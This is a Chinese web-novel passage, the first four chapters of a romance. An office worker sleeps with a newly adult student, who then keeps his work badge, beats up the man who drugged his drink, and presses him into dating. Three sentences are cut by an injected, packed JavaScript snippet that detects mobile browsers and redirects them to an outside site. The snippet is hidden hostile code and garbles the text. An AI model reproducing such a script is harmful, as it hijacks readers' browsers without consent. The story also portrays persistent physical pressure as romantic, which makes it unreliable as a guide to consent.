《捡到高中生小狼狗后》 1. 酒店 清晨的光亮透过米白色的薄纱窗帘,照亮床上相拥而眠的两人身形。 准时的生物钟唤醒了沉重不堪的身体,钟瑾宁长睫轻颤,还没清醒,混沌不堪的大脑先感知到了违和感。 身下的床面绵软如云,不似出租屋那张硌人的木板床,怀里的长条猫猫抱枕触感奇怪,热得像个小火炉。 腰身更是酸软无力,两侧隐隐作疼,仿佛被人长时间地掐弄过…… 钟瑾宁缓慢地睁开眼,视线逐渐聚焦,茫然地定格面前的陌生少年。 少年闭眼沉睡着,似是因为晨光的打扰,眉宇紧紧地皱了起来,显出几分不好惹的戾气,鼻梁高挺,半边脸颊垂落散乱的黑色碎发,耳垂缀了个四芒星耳钉,边角锋利。 他上半身没穿衣服,手臂隔着被子搭在钟瑾宁腰身上,覆着薄薄肌肉,线条修长结实。 最引人瞩目的,是颈项几道猫抓似的红痕,正随着绵长的呼吸而微微起伏。 这是……谁? 钟瑾宁的瞳孔瞪大,脑海中轰鸣一声,昨晚的记忆如潮瞬间涌来。 模糊的片段闪过。 酒吧的灯光绚烂迷离,他的胸口像燃着一团火,又热又闷,想扯开自己的外套,被少年禁锢了手腕,不让继续动作。 推不开,又走不掉。 闹得他也禁不住恼了起来,整个人摇摇晃晃,手指拽着面前少年的外套领口,语气恶狠狠地问:“成、成年了吗?要么跟我走,要么让我走。” 面前的少年像是气笑了,点头应:“别后悔。” 另一段记忆换作酒店的明亮背景,天花板上的水晶枝形灯像地震般摇摇晃晃,他伸手想抓住,又被攥进了另一只汗湿的宽大手掌里。 少年出现在他的视线里,黑色碎发滴落汗水,望着他,无奈地叹一声:“哭得这么厉害,是不舒服吗?” 又低下头,用薄唇吻去他眼角滑落的的泪,笨拙又温柔地哄了句:“……别哭。” 钟瑾宁闭了闭眼,又羞又气,从颈项到耳尖全红了。 话说得好听,闹到后半夜也没见你停啊……! 唯一能宽慰自己的,大概是隔壁床位的这位还没醒,自己可以先逃离这么尴尬的局面。 好在面前的少年虽然看起来年龄小,但也成年了,你情我愿的事,门一关,从此以后不会再往来,昨晚的事也可以翻篇了。 钟瑾宁屏住呼吸,忍着腰身传来的阵阵酸疼,动作尽量轻地从面前半禁锢的怀里退出来。 中途少年轻哼了哼,似乎有醒来的征兆,吓得钟瑾宁浑身僵直,一动不敢动,等了好一会儿,见少年呼吸绵长安稳,才掀开了被子,赤.裸着雪白的双腿下了床。 床头柜上摆着一个用空的方盒,甚至酒店提供的第二盒也用了一半,黑色垃圾桶里面的数量不堪入目。 钟瑾宁眼前一黑。 昨晚用了这么多? 怪不得他腰疼腿也疼,浑身像被碾过,谁第一次经得起这样的折腾啊?! 钟瑾宁不敢再看。 地毯上散乱纠缠着两人皱巴巴的衣服,他勉强弯了腰,翻找出自己的衬衫西裤胡乱套上,拿起手机,目光扫到属于少年的涂鸦球鞋,触电似的赶紧移开。 应当还是个学生吧……大学生? 钟瑾宁打住念头,不再深想,做贼似的,轻手轻脚往外走,到了玄关处,心中才缓慢松了一口气。 走了以后,就可以当什么也没发生过了。 钟瑾宁脸上的温度微微降了下去,手指按下门把手,感觉像是踩中了什么,鬼使神差的,低头看去。 是张身份证。 少年望着镜头,微微仰头,面容轮廓凌厉,桀骜不驯的气质扑面而来。 姓名:盛熠 生日:…… 钟瑾宁对数字敏感,顷刻间便作了换算,脑袋像被钟锤重重捣了下,嗡鸣不止,手指都颤抖起来。 刚成年一个月?! 钟瑾宁的呼吸都变得不畅,满脑子回想着少年的年龄——这个年龄,是在读高中,还是大学?他不会是睡了一个高中生吧? 随之而来的,是昨晚更多的细节。 少年高他大半个头,穿着卫衣长裤,身形挺拔,轻轻松松地将他揽抱在怀里,他实在站不住,近乎圈挂在少年的身上。 “先等等,得登记。” 少年哄了他稍微松开自己,从钱夹里拿出身份证和一叠现金,推给前台的工作人员,言简意赅:“开一间套房,要最贵的。” 移动支付盛行的时代,什么样的人才会随身带一叠现金? 上了信用失约名单,银行账户被限制的人、被学校禁止用手机的中学生、想要避税的灰色交易者…… 摆在钟瑾宁面前的问题,仿若在问他一加一等于几,答案再明显不过。 万一等于三呢? 万一盛熠已经读了大学,但习惯使用现金支付呢? 钟瑾宁的手心出了汗,视线看向一旁。 玄关处的大理石台面上静静躺着放房卡的卡夹和少年的钱夹——是昨晚进门的时候,两人身形交缠,顾不上其他的,被少年随手扔在了这儿。 钟瑾宁心跳如鼓,捡了地上的身份证放在了柜面上,打开了少年的钱夹,看到了外层透明卡套里的学生证。 最后一丝希望也破碎了。 上面的学校名字来回地出现在钟瑾宁脑海里。 ——市里有名的寄宿中学,管得严,放假少,更不准学生在上课期间使用手机。 外面走廊上传来轻微的响动,钟瑾宁猛地回了神,发现自己后背已经出了层汗。 他正准备走,又回看一眼房间。 欧式装横处处透着豪华,面积宽敞,空气里浮动着暧昧的大马士革玫瑰香薰,只要长双眼睛,也知道这家酒店价格不便宜。 再怎么说,也不能让一个高中生来付房费。 钟瑾宁咬了咬唇,想到少年钱夹里没剩几张的现金,从西服外套的内侧口袋翻找出纸笔,庆幸着自己有随身带便签纸和笔的习惯。 【抱歉这是我的联系方式,醒来后可以加我,我来付酒店钱。】 钟瑾宁将写好vx号的便签纸放在台面上,如释重负地离开。 咔哒一声,房门轻轻关响。 空空荡荡的房间里,少年躺在床上,拧了下眉,缓慢地睁开了眼。 钟瑾宁下了楼,用电量告急的手机打了个车,回到出租屋里。 进门的瞬间,手机彻底没电,自动关机。 钟瑾宁把手机放在桌上充电,转去浴室洗澡。 刚在酒店里,心慌意乱之下只念着快点逃,现在才有机会检查身上的痕迹,不由轻吸一口冷气。 也太……过了吧? 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129242|164380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己都不敢多看,匆匆洗完,换了柔软的睡衣出来,趴在床上歇一歇,将手机开机,犹豫着要不要去预约一个体检。 手机涌出一连串的消息。 有昨晚一起去酒吧的同事担心的问候,有姥姥发来的语音,还有几条来自客户的工作消息。 钟瑾宁挑挑拣拣地回复了。 叮的一声,vx新的朋友一栏弹出一条新的好友申请。 钟瑾宁下意识点开,神色微微一怔。 是个男生头像,像在夜幕下的偷拍角度,鸭舌帽低扣,神情看不分明,侧脸线条凌厉,耳边的四芒星耳环闪动银光。 S:【跑什么?】 钟瑾宁的脸上蹿起热度,烧得火辣辣的。 这小孩说话怎么这么直接? 怎么就是跑了,他就不能是临时有事吗? 钟瑾宁通过了好友,改了备注,秉承着成年人不和小孩计较的心态,客客气气地问:【你好,昨晚的酒店钱是多少?我转给你。】 盛熠:【不要酒店钱。】 盛熠:【要你负责。】 钟瑾宁目露茫然,被咬破的唇角禁不住颤动起来。 这年头,露水情缘也得负责了? 钟瑾宁纠结几瞬,小心翼翼地措辞:【抱歉,我看到了你的身份证和学生证,你现在应该还在读高中吧?作为学生,心思还是应该放在学习上。】 盛熠:【?】 盛熠:【我俩床都上了,你劝我学习为重?】 钟瑾宁的脸上热度愈发烫灼:【昨晚是个意外。你现在是高几?】 盛熠:【高三毕业,在等录取通知书,没有暑假作业。】 盛熠:【高考前刚体检过,可以把体检报告发你。昨晚是第一次,没有过别人。在酒吧是你拉着我,不要我走,你负全责。】 对面又发来一条几秒的语音。 钟瑾宁想点语音转文字,手一抖,直接点开了。 少年的音线咬得轻且哑:“现在可以对我负责了吗?哥哥。” 最后两个字,带着暧昧的哼笑。 钟瑾宁耳尖烫红,捧着手机像捧着个烫手山芋,不知道该怎么办。 提醒铃声响起,手机上方弹出了来自项目组长的消息。 钟瑾宁第一次觉得上司的出现让人这么惊喜,精神一振,飞速点开。 ——上司让他们在周末临时加个班,补充一个客户需要的材料。 钟瑾宁郑重回复:【收到!】 另一边的酒店里。 盛熠洗了个澡出来,块垒分明的腹肌往下滚落透明水珠,腰下围着一块浴巾。 床尾的长凳上放着酒店工作人员送来的崭新衣服,他俯身拿起,宽阔的背脊上满是凌乱抓痕。 盛熠套好了衣服,拿起放在床角的手机看了眼。 自他发了那条语音消息,对面像被吓着了似的,再没有任何回复。 少年面容俊美,神色没有分毫意外,轻嗤了声,手指勾起细细长长的蓝色系带。 系带的末端,是一块工牌。 证件照上的青年眉眼漂亮无辜,眼尾一点红痣,他望着镜头,看起来呆呆的。 【姓名:钟瑾宁】 【部门:……】 盛熠低着眸,对着上面的证件照笑了下。 “睡完了就想跑?哥哥,哪有这么好的事。” 2. 工牌 安组长不分周末布置任务已经是常态了,下达任务后,交代周一前就要整理好资料,电子版发他邮箱,纸质版交在他的办公桌上。 工作群里一排的收到,钟瑾宁转而打开安组长不在的【薪贫气和一家人】群聊,发现里面果然一片怨声载道。 【有病吧!都连着加班两周了,好不容易有个周末,这资料是非要不可吗?】 【还让周一上班前放在他办公桌上,谁不知道氨基酸周一开早会都会迟到,他在家里睡大觉,让我们提前就把工作做好,呵呵哈哈想杀人。】 【无语,这次能合作本来就是宁宁的功劳,氨基酸把功劳全抢过去了,在部长面前说是自己一手促成的,现在那边要的资料已经怎么不自己一手准备了?呸,不要脸。】 【所以说氨基酸能是领导呢。肽键。】 群里都是一群毕业没几年的小姑娘,没什么背景,骂归骂,还是任劳任怨地打开电脑了。 小梨来找钟瑾宁:【宁宁,我负责的资料存电脑里没带回来,你回公司吗?能不能发给我?】 钟瑾宁住的地方离公司最近,回:【我明天回公司,发你资料可以吗?】 他身上实在酸疼得厉害,今天不想再走动。 小梨:【ok的!!完全没问题!!麻烦你了!!】 小梨:【昨晚我碰到朋友和她们聊天去了,忘了时间,回来找你的时候,调酒师说你和朋友先走了。不好意思啊,说了陪你喝酒散心的,结果我先抛下你了。】 钟瑾宁想起昨晚,耳尖有些发烫,含糊地回:【没事。】 他忙前忙后,联系了几个月促成合作,没想到功劳被组长冒顶,批下来的奖金也只拿了和其他同事一样的小头。 攒钱想买的机票,还是差了那么一截。 钟瑾宁排开脑袋里的杂念,从床上坐起来,拿出电脑,登录工作vx号开始处理文件,忙了小半小时,发现自己的资料有一小部分也不全。 只能明天回公司的时候再整理了。 钟瑾宁忽然愣了下,意识到一个问题。 ——他的工牌呢? 昨天晚上加完班,小梨拉着他去酒吧喝酒,酒吧人多又热,他脱了西装外套,将工牌顺手塞到了外套的兜里。 钟瑾宁心生不妙的预感,下了床,摸到西装外套的兜里空空如也。 不会丢了吧? 工牌补办一次十块钱,钱不多,但是事儿多,要在内部的办公软件向人事部和后勤部递交补办的申请,等批准等流程。 平时他们商务部申请一盒笔,流程走下来都要半个月,等上面的批准下来,他们自掏腰包买的一盒笔都快用完了。 更何况在他们公司,上下班考勤、电梯刷卡、食堂用餐都需要工牌,等补办的这段时间,去哪儿都不方便。 钟瑾宁升起一丝希冀。 说不定工牌就掉在了酒吧,被工作人员捡到了。 他从软件上找到昨晚去的方块酒吧的联系方式,抱着试一试的心态拨了通话过去。 有工作人员接了电话,歉意地表示失物领取处没有看到工牌,如果后续有人捡到,会来联系他。 钟瑾宁道了谢,踌躇两秒,想给酒店打电话,但只记得酒店名字,不记得房号了。 总不能打电话过去说:“你好。我昨晚在你们这儿和一个高中生开了房,能不能帮我查询‘盛熠’开的哪间房,问一下保洁人员有没有捡到一张工牌?” 光是想一想,钟瑾宁就忍不住问自己——这个工牌真的非要不可吗? 是的,非要不可。 打工人就是这样卑微。 怀揣着最后一点希望,钟瑾宁视死如归地点开盛熠的对话框,假装看不见前面的内容,礼貌打字: 【请问你有在房间里看到我的工牌吗?没有的话也没关系,可以把房间号告诉我吗?我去问酒店的工作人员。】 钟瑾宁焦急地等了几分钟,对面姗姗来迟,出现了回复。 盛熠:【你和谁说话都这么客气吗?】 钟瑾宁从头到尾看了一遍自己的用词,神色迟疑。 也没有很客气……吧? 对面发来一张照片。 背景是胡桃木桌,一张蓝色工牌静静地躺在上面,照片的一角露出一沓高中辅导习题册,旁边还有几只水笔。 【在我这儿。】 【明晚八点半到九点,我在方块酒吧有乐队演出。想要工牌,明晚来酒吧找我。】 乐队演出? 钟瑾宁怔了怔,更关心自己的工牌,下意识回:【我可以今晚过来拿。】 盛熠:【你还走得动?】 钟瑾宁的脸红了,确实有点走不动。 钟瑾宁回:【我可以叫跑腿过来取。你要是不想暴露地址的话,我给你公司地址,你让跑腿帮我放在一楼前台可以吗?】 盛熠:【昨晚干累了,不想动。】 钟瑾宁脸上的温度升高。 他才是累的那个吧!再说了,跑腿上门取货,根本不用动啊。 钟瑾宁打出几行字,又删掉,最后硬着头皮回:【那我明晚来找你。】 盛熠回:【嗯,我等哥哥。】 钟瑾宁被他这句闹得又慌又臊,想让盛熠不要叫他哥哥了,可按照两人的年龄差距,这个称呼也没什么错。 他憋半天,也没憋出一句话,索性当什么都没看见,放下了手机。 暗下决心,等拿了工牌,就桥归桥路归路,别再有其他的联系了。 钟瑾宁给小梨发了信息,说自己临时有事,明天去不了公司了,小梨爽快地应了,找其他同事帮她传资料。 次日晚八点,方块酒吧。 后台的休息室里,盛熠穿着黑色短袖和破洞长裤,颀长的身形靠在墙边,低着头,心不在焉地时不时摆弄一下手机。 “今天周末,加上我们乐队有演出,场子人巨多。我通知保安控制入场人数了。”红发男对另外一个拨弄吉他的男生道,“你女朋友到没到?没到的话,我给保安打声招呼。” 吉他男道:“没事,她到了。” 盛熠听见了,抬起头,忽然道:“我发你张照片,这个人进来让保安别拦。” “谁啊?”红发男感兴趣地挑眉,揶揄的目光在盛熠颈侧的抓痕扫一圈,“你前晚的艳遇对象?” “我对象。”盛熠纠正,“不过还没追到。” 其他朋友稀奇:“没追到也叫对象?” 盛熠懒洋洋道:“迟早的事。” “哦哟哟——” 红发男收到了盛熠发来的照片。 像是在便利店拍的,透明的玻璃墙后,青年坐在桌边,手里捧一杯冒热气的咖啡,好似在望着外面的街道发呆。 面容佼好,睫羽浓密纤长,眼尾一点红痣,叫整张脸都变得活色生香起来。 他们是玩票性质的乐队,互相是认识了十几年的好友,对盛熠看中的人颇感兴趣,围到红发男的身边看照片。 “我靠,这么漂亮。” 吉他手倒吸一口冷气:“酒吧灯光这么暗,你是怎么找到他的?盛哥牛啊。” 盛熠笑了笑,没解释。 红发男干脆利落地交代给了保安队长:“好了。放心吧,以后你对象保准在我们这儿横着走。” 贝斯手笑嘻嘻地感慨:“我们学校这么多人追盛哥,传回去,好多人的心都该碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129243|164380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 盛熠浑不在意,将鸭舌帽扣在头上,又戴上了黑色口罩:“今晚我有事,你们不用等我。” “明白。”红发男又禁不住惋惜,“你这张帅脸挡起来干嘛?你都不知道每次演出结束,有多少人来找我问打架子鼓的是不是长特丑,所以不敢露脸。要是你能摘了那破口罩,我们乐队的热度又能够翻一番了。” 盛熠道:“有家室的人,不好抛头露面。” “我信你个鬼!”吉他手笑骂,“没对象之前,你不也是上台表演藏得严严实实吗?” 盛熠慢条斯理地回:“这叫为未来对象守身如玉。” “行行行,我们盛哥男德毕业班模范代表。”红发男笑道,“快上台表演了,你问问你的对象到了没?要不再等他会儿?” “不用,他心虚,想和我撇清关系呢,在躲我。”盛熠的薄唇微掀,“走吧,上台。” 贝斯手听出别的意味,摇头叹息:“好惨,怎么就招惹上我们盛哥了?” 乐队演出表演完,酒吧的场子彻底被炒热,躁动的鼓点和狂热的欢呼交织,灯光绚烂,中间的舞池挤满了人。 盛熠去了后台,给钟瑾宁发消息:【到哪儿了?】 钟瑾宁特意卡着点出门,想在八点半正好到酒吧,这样他拿了工牌就可以立刻走人,盛熠需要上台演出,也和他做不了纠缠。 没想到遇到了堵车,堵了半个多小时,撞上盛熠结束表演的时间。 钟瑾宁:【快到了。】 盛熠:【知道了。你到了以后,从后门到包厢这边来找我。】 钟瑾宁:【好。】 包厢属于vip区域,远离酒吧的舞池,地面铺着厚重的地毯,稍显安静。 盛熠斜靠在长廊的墙边,划着手机等待。 远处,隐隐约约有对话声和烟味传来。 “烦死了,这就是你说的和前天我看中那男的长得像?就眼尾那颗红痣像,脸和身材差远了,一看就是被玩过不知道多少轮的,倒胃口。” 盛熠的动作微顿。 另一个人赔笑:“附近这几个酒吧我都熟,那个男的我没见过,估计不是常客,也不知道什么时候来第二次,我这不是想着先给您找个人泄泄火?……” “要不是被那个鼓手给截了,那晚上我早得手了。”说话的人语气忿忿,“那个打架子鼓的从来不敢露脸,不知道长得有多见不得人,还敢和我抢!” 另一个人安慰:“毕竟是乐队的人,谁都知道乐队的主唱是方块酒吧的老板,姓傅,和盛家交好的那个傅,得罪不起。” “我那药可是高级货,一颗可贵了,没想到就慢了一步,便宜了那个鼓手。不过那个鼓手都玩过一回了,要是那个男的再出现,也不会管谁把那个二手货带走了。这几天,你们帮我多盯盯……” 盛熠面无表情地放了手机,走了过去。 酒吧的灯光炫彩,纸醉金迷,人群嘈杂喧闹,显得有几分群魔乱舞。 钟瑾宁没找到后门,给盛熠发消息,他又没回,索性从正门进来了。 他进来以后,一时有些迷茫,不知道该怎么走,环顾一圈,找了附近卡座上一个染着红发的男生:“你好,我想问包厢在哪边?” 音乐太吵,对面根本没听清他在说什么,倒是认出了他的脸,乐道:“你就是盛哥的对象吧?他刚往后门那边去了。人太多了,我找俩保安送你过去。要是把你给挤着摔着了,盛哥得跟我急。” 他怎么就成盛熠的对象了? 钟瑾宁神色惊愕,脑海的天平在追问和放过之间摇摆,觉得还是找盛熠要工牌,然后迅速离开重要,道了谢,跟着保安穿过人群,往包厢的方向过去了。 3. 恋爱 还未走近,先听到远处的拳拳到肉的击打声,和哎呦哎呦的吃痛叫唤声。 钟瑾宁还没反应过来,两位保安先意识到有人在vip包厢区闹事,神色一变,快步赶了过去,等看清楚长廊上的景象,很快停了下来。 两三个男的躺在地上,鼻青脸肿,抱着不正常弯曲的手臂,痛苦地呻.吟。 少年抓着一个男人的脑袋砸在墙上,满脸煞气,手背用力绷着青筋,嗓音低冷凶戾:“滚。要是在这条街再看见你们,我见一次打一次。” 他听见动静回了头,越过两位保安,和神色怔愣的钟瑾宁对上视线。 盛熠下意识松开了手里的力道。 被他抓着的人逮到机会,跌跌撞撞地逃开,看到保安来了,像等到了救星,激动地大喊大叫:“保安他在闹事,无缘无故对我们动手!” 保安充耳不闻,客客气气地问盛熠:“盛哥,要我们把他们赶出去吗?” 盛熠回过神,点了头。 那个男的满眼不敢置信:“你们保安就是这么做事的?!我要报警!” 两个保安身形高大魁梧,一手拎一个,像拎一个小鸡仔,拖着他们从后门出去:“几位客人喝醉了,请先离开吧。你们可以叫警方,只是我们走廊上的监控最近出了问题,恐怕不能配合调查了。” 走廊上恢复了安静。 少年的手掌垂下,关节处因为重力击打过,泛着一层红。 他的喉结滚动,像想说什么,最后什么都没说,若无其事地问:“怎么从那边过来的?” “我没找到后门在哪儿,被导航绕晕了。” 钟瑾宁犹豫了瞬,问:“为什么和他们打架?” 盛熠平淡道:“没有为什么,单纯看他们不爽。” 钟瑾宁干巴巴地哦了声,又道:“我来拿我的工牌。” 盛熠接得很快:“在我住的地方。酒吧人太多了,我怕不小心弄掉了。” 钟瑾宁猜到了盛熠不会这么简单把工牌给他,顺着问:“你住哪儿?” 这句出乎盛熠的意料,问:“你要跟我回去?不怕我对你做什么?” 那不是,什么都做过了吗? 况且…… 钟瑾宁的耳尖有些发热,慢吞吞道:“刚才你打的那个人,那天晚上,他给我送过酒。” 平日部门聚餐他也喝酒,再怎么喝,也远远没有那天晚上那样醉到异常的程度。 看到那个人的一瞬间,钟瑾宁想起了自己接过了侍应生送来的一杯酒。 侍应生说是一位自称他的朋友点的,钟瑾宁当时以为是小梨的朋友,接来喝了一口,吧台的对面,却有一位陌生的男人笑着对他举了杯。 盛熠紧绷的后背放松下来,语气染上一丝调笑:“哥哥,下次还接陌生人的酒吗?” 被小自己足足七岁的少年教训,钟瑾宁瞪大了眼,想解释昨晚是个误会,但舌头打结,吭哧半天,最后道:“我很少来酒吧的,不会有下次了。” 盛熠闷闷低笑,看钟瑾宁的耳尖愈发地红,神色愉悦:“走吧,我带哥哥去我住的地方。很近,走路几分钟就到了。” 他带着钟瑾宁出了酒吧后门,在窄巷里弯弯绕绕,面前出现几栋可商用的住宅小区。 等电梯的时候,钟瑾宁看上面的指示牌,微微皱眉。 有民宿、有密室逃脱、有麻将棋牌室,还有斯诺克俱乐部等。 鱼龙混杂,人员流动性大,一楼的电梯没有安保,任何人都可以随意进出,安全性难以保证,不是什么适合常住的地方。 “电梯到了,哥哥。” 盛熠挡门等待着,叫他。 钟瑾宁回过神,匆匆进了电梯,忍不住道:“能不能不要叫我哥哥?” 叫他哥哥,仿佛就在提醒他被一个小他七岁的高中生睡了这件事。 电梯里没其他人,盛熠垂眸看他,问:“哥哥想让我叫你什么?” 钟瑾宁顿住。 照他原本的打算,等拿了工牌,两人后面就不会有其他来往。 既然这样,叫什么称呼,重要吗? 盛熠没听到回答,也不在意。 电梯到达二十五楼,钟瑾宁往外走,差点被突然合拢的电梯门给卡住。 盛熠及时伸手挡住了,手臂被门边结结实实地撞了下,电梯门重新向两边退开。 “这里的房子太久了,电梯有点问题。” 他解释。 钟瑾宁愣愣的:“哦……” 盛熠不动声色地站在钟瑾宁的身边,挡住了手臂外侧被撞出来的红痕。 廊道狭窄,头顶好几盏感应灯无力地闪了闪,不亮了,光线昏暗。 走在走廊上,也能感觉到这里的房间密集,隔音很差,有突如其来的狗吠声、有小孩子的哭闹声,还有做菜翻炒的声响。 盛熠带着钟瑾宁走到了房间门口,用钥匙开门。 隔壁传来嘎吱嘎吱的摇床声和尖叫声,钟瑾宁听出来是在做什么,脸上升起热度,迟疑问:“你……就住这里吗?” 盛熠平静地嗯一声。 大概意识到钟瑾宁在害臊什么,还反过来宽慰他:“没事,隔壁那男的就三分钟。” 灯光亮起,里面是个一居室。 面积很小,约莫二十平米,进门左转是洗手间,直走是一个铁架床,灰色被子有点乱,旁边是钟瑾宁在照片里见过的胡桃木桌,椅子上搭着几件衣服,外面的小阳台上放着洗衣机和烘干机。 隔壁的摇床动静果然停了。 钟瑾宁一错眼,看到了放在床边地上的书包。 盛熠把门关了,站在钟瑾宁的后面,抱住了他的腰,高挺的鼻尖在他的颈侧蹭了蹭。 少年的身体放松下来,像是做成了一件想做很久的事,喉咙溢出一声满足的喟叹。 “你……”钟瑾宁心乱如麻,甚至顾不上计较盛熠在做什么,“你一个人住这儿,你的父母不管你吗?” 盛熠很低地应一声:“我妈很早就去世了,我爸在外面有很多的情人,从小就把我扔寄宿学校,不管我的。” 钟瑾宁转过头看他,声音也放轻了,问:“那你在酒吧演出,是为了挣钱?” 又想起了盛熠那个只剩几张现金的钱夹,道:“那你怎么不收我的钱?” 他后面查到了那家酒店的套房价格,转账给盛熠,盛熠却没有点接收。 盛熠问:“哥哥,你把我当鸭?” “我不是这个意思。”钟瑾宁涨红了脸,“毕竟我工作了,有一点存款,再怎么说,也不能让你一个学生付钱……” 盛熠笑了起来,道:“哥哥,把钱留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129244|164380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着多吃点吧,你的腰细得我一只手就抱得过来。” 钟瑾宁终于意识到了两个人的暧昧姿势,挣脱了下,盛熠的手臂却像铁一样紧紧地箍着他,纹丝不动。 甚至,还收紧了几分。 盛熠贴着他的耳尖,温热的呼吸尽数往里吹,声线压得很低,像在埋怨,又像在撒娇:“哥哥,我有的东西很少,你把我的处男之身都拿走了,却不想负责,好过分。” 钟瑾宁的耳尖过电似的酥麻,蔓开一阵淡淡的红,腰身也发软,道:“你也知道,昨晚是个意外……唔!” 珍珠般的耳垂被含进了炽热的唇舌间,传来一阵濡湿。 盛熠的声音很哑:“那天晚上是个意外,但也发生了。我在酒吧看到过很多下班后来这儿放松的打工人,他们的压力很大,需求也格外重,经常坐下来喝两口,和陌生人看对眼就直接走人,还有的直接在厕所里搞起来,害得保安半个小时就得进去巡逻一趟。哥哥,你平时上班也很辛苦吧?需求重吗?” 钟瑾宁听得羞恼,想推开他,盛熠用手臂禁锢着人,两人推推搡搡,一起倒在了深灰色的被面上。 质量低劣的铁架床发出一声不堪重负的哀鸣。 少年的手臂撑在床面上,低眸看他,问:“那天晚上哥哥明明很舒服,为什么还想着逃走?” 钟瑾宁只想逃避,慌里慌张地应:“我不记得那天晚上的事了。” “哥哥不记得了,我可以帮你回忆。”盛熠的眸底像燃动着一簇火,直勾勾地盯着他,“那天晚上,哥哥哭得很可怜,但抱着我,缠着我不放……” “别说了!” 钟瑾宁猛地伸手捂着他的嘴,羞愤不已,却感觉到掌心传来一片湿润。 ——是盛熠在舔他的手心。 钟瑾宁吓得往后躲去,晃得铁架床嘎吱嘎吱地响起来。 “我第一次出来的速度很快,我觉得很丢脸,还好哥哥不嫌弃我……” 盛熠又捉住了钟瑾宁的手腕,放在唇边亲了亲,留下烙印般的灼热痕迹。 钟瑾宁往后藏起了自己的手,退到了角落,单薄的脊背靠着冰冷坚硬的墙面,退无可退。 盛熠的胸膛压来,炽热的手掌揽上他的腰,分明是咄咄逼人的姿态,语气却放得讨好而依恋,低到尘埃:“哥哥,和我谈恋爱吧?你可以找我宣泄压力,我的体力很好,时间也很多,随叫随到,你想怎么用我都可以,很划算的。” 钟瑾宁根本应付不来,快晕厥过去:“你、你……” 盛熠的唇咬着他的耳尖,呼吸很重,喑哑的嗓音带着蛊惑:“只要哥哥答应我,你想要我做什么,我都听话……” 钟瑾宁要制止盛熠探进衣服的手,就挡不了他作乱的膝盖,耳尖被湿热的唇舌反复舔舐着,头昏脑涨,呼吸也变得急促,胡乱地应:“好、好。你先离我远点……” “你答应了?” 盛熠猛地抬头看他,眸底闪动急切的光。 钟瑾宁的长睫颤动,脸颊烫红如煮熟的蟹,衬得眼尾的一点红痣更加漂亮。 他的手掌抵着盛熠的胸膛,迟钝的神经感到一丝不安,道:“你说,只要我答应,你就听我的话……” “听的。” 盛熠脸上的笑意加深,像狼犬藏住了利爪,扮作乖乖小狗:“我听哥哥的话。” 4. 报备 窗外的浓重墨色挂上点点繁星。 时间已经很晚了,钟瑾宁说自己得回去了,盛熠送他下楼。 钟瑾宁这回特地注意了电梯门的开合,好在这次电梯格外给面子,顺顺畅畅地开了门,没有抽风。 两人站在电梯里,钟瑾宁对自己多了一个小男友这件事没什么实感,只觉得过家家式的尴尬。 他盯着屏幕上缓慢跳动的数字,祈祷着快一点到底层。 盛熠神色自若,低头时,右耳上的银色耳钉闪光。 少年摆弄着手机,道:“哥哥,你把地址发给我,我给你打个车吧。” 钟瑾宁拒绝:“不用了,我自己打车就行。” 见盛熠又要开口,他急急忙忙地补充:“你、你说了,要听我的话的。” 盛熠的眉宇轻挑,倒也干脆利落地收了手机:“行。” 钟瑾宁松了口气。 “听话”这个要求格外好用,他刚也拿这个条件让盛熠收了自己转账的房钱。 一晚上四位数的房费,要不是钟瑾宁最近新得了一笔奖金,这会儿已经心疼得滴血了。 居民楼绕出去就是和那条热闹酒吧街相近的主路,打车很方便,软件上很快显示有师傅接单,距离还有八百米。 “我打到车了。”钟瑾宁道,“你先回去吧。” 盛熠没动:“我送你上车。” 钟瑾宁讷讷的,说不出话了,长睫低垂,去看路砖边缘长出的野草。 盛熠问:“哥哥不敢看我,是怕我吗?” 钟瑾宁后背一僵,很含糊的:“没有啊。” 他只是,很不习惯盛熠的注视。 盛熠又问:“那就是路比我好看?” 钟瑾宁便抬起头来,看向盛熠。 诚心而论,盛熠是他见过最好看的少年。 眉眼桀骜傲气,是校园里最受追捧的坏学生模样,懒散地这么揣兜一站,个高腿长,只穿着简单的破洞t恤和长裤,也让人目不转睛。 钟瑾宁很认真地答:“不是的。你比路好看。” 盛熠笑了,肩膀都在颤,叫钟瑾宁不知所措起来。 是盛熠先这么问他的,他这么答不对吗? 许是因为钟瑾宁脸上的无措太明显,盛熠道:“没事,我是觉得哥哥太可爱了。” 还好白色的网约车到了,闪着灯停在了他们的面前。 钟瑾宁赶紧道:“车来了,我先走了。” 盛熠轻嗯一声:“到家以后给我发条消息。” “好。” 钟瑾宁匆匆上了车后座。 师傅问了钟瑾宁的手机尾号,确定无误后,启动引擎。 